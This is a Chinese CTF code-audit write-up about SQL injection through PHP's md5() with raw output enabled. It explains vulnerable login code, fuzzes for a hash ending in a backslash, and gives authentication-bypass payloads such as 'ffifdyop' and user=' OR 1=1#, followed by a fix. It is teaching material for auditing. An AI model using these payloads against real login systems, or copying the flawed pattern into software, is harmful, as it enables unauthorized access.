

- 一、题目
 - 1、源码
 - 2、解读
 - 3、分析
 - 4、利用
- 二、CMS-CTF题
 - 1、分析
 - 2、利用
 - 3、修复方案
 - 4、参考链接

一、题目

1、源码

```
1 class RealSecureLoginManager {
2     private $em;
3     private $user;
4     private $password;
5
6     public function __construct($user, $password) {
7         $this->em = DoctrineManager::getEntityManager();
8         $this->user = $user;
9         $this->password = $password;
10    }
11
12    public function isValid() {
13        $pass = md5($this->password, true);
14        $user = $this->sanitizeInput($this->user);
15
16        $queryBuilder = $this->em->createQueryBuilder()
17            ->select("COUNT(p)")
18            ->from("User", "u")
19            ->where("password = '$pass' AND user = '$user'");
20        $query = $queryBuilder->getQuery();
21        return boolval($query->getSingleScalarResult());
22    }
23
24    public function sanitizeInput($input) {
25        return addslashes($input);
26    }
27 }
28
29 $auth = new RealSecureLoginManager(
30     $_POST['user'],
31     $_POST['passwd']
32 );
33 if (!$auth->isValid()) {
34     exit;
35 }
36
```

2、解读

- 1) 第29行，实例化对象RealSecureLoginManager，传入POST中的user和passwd值作为实参，将结果赋给\$auth。
- 2) 第6-10行，实例化对象后会自动调用构造函数__construct()，将user和passwd赋值给了变量\$user和\$password。
- 3) 第33行，如果对象中的函数isValid()为假，就退出。
- 4) 第12-22行，使用函数md5()对password进行加密，然后使用函数sanitizeInput()对user进行了HTML特殊字符过滤。后面对处理过后的user和password进行了SQL语句拼接，并查询，将查询的结果以boolean类型返回。

3、分析

- 1) 首先user和password变量是可控的。
- 2) 然后password被md5()进行处理，但\$raw_output（也就是第二个参数）被设置为了true，那么返回的就不是标准的md5值，如下（添加了true和没添加true）

```
<?php
echo md5( str: 123, raw_output: true);
echo '<br />';
echo md5( str: 123);
?>
```

,bY[K-#Kp
202cb962ac59075b964b07152d234b70

- 3) 此时可以通过fuzz，找出一个数字最后是以反斜杠结尾的（用于过滤拼接后，SQL语句中的单引号），结果是128。那么此时就可以开始注入了。

```
<?php
for($i = 0; $i <= 1000; $i++) {
    $a=md5($i, raw_output: true);
    var_dump( expression: "$i 的值是: ",
}
?>
```

/Applications/MxSrvs/www/test.php:4:string '126 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '127 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '128 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '129 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '130 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '131 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '132 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '133 的值是: ' (length=32)
/Applications/MxSrvs/www/test.php:4:string '134 的值是: ' (length=32)

4、利用

Payload: user= OR 1=1#&passwd=128
拼接后: select count(p) from user s where password='v?an?l?qq?'
and user=' OR 1=1#'

二、CMS-CTF题

1、分析

1) CTF地址: <http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php>

请用管理员密码进行登录~~

密码:

提交

2) 右键查看源代码, 可以看到后端源码泄露了。

3) 代码逻辑为: 接收POST传入的password值, 通过md5的形式拼接到SQL查询语句中, 然后对结果进行判断, 如果结果大于1就返回flag。

4) 那么这里md5()的\$raw_output设置为true时, 会返回前16字节长度的原始二进制, 然后再将二进制转换成字符串, 就会造成SQL注入风险。

自动换行 ☐

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4   <meta charset="UTF-8">
5   <title>Document</title>
6 </head>
7 <body style="background-color: #999">
8   <div style="position:relative;margin:0 auto;width:300px;height:200px;padding-top:100px;font-size:20px;">
9     <form action="" method="post">
10       <table>
11         <tr>
12           请用管理员密码进行登录~~
13         </tr>
14         <tr>
15           <td>密码: </td><td><input type="text" name='password'></td>
16         </tr>
17         <tr>
18           <td><input type="submit" name='submit' style="margin-left:30px;"></td>
19         </tr>
20       </table>
21     </form>
22   </div>
23   <!-- $password=$_POST['password'];
24   $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
25   $result=mysqli_query($link,$sql);
26   if(mysqli_num_rows($result)>0){
27     echo 'flag is :'.$flag;
28   }
29   else{
30     echo '密码错误!';
31   } -->
32 </body>
33 </html>
34
```

2、利用

Payload1: password=ffifdyop

Payload2: password=129581926211651571912466741651878684928

3、修复方案

使用md5()函数时，不要将\$raw_output设置为true。

4、参考链接

<https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day17/files/README.md>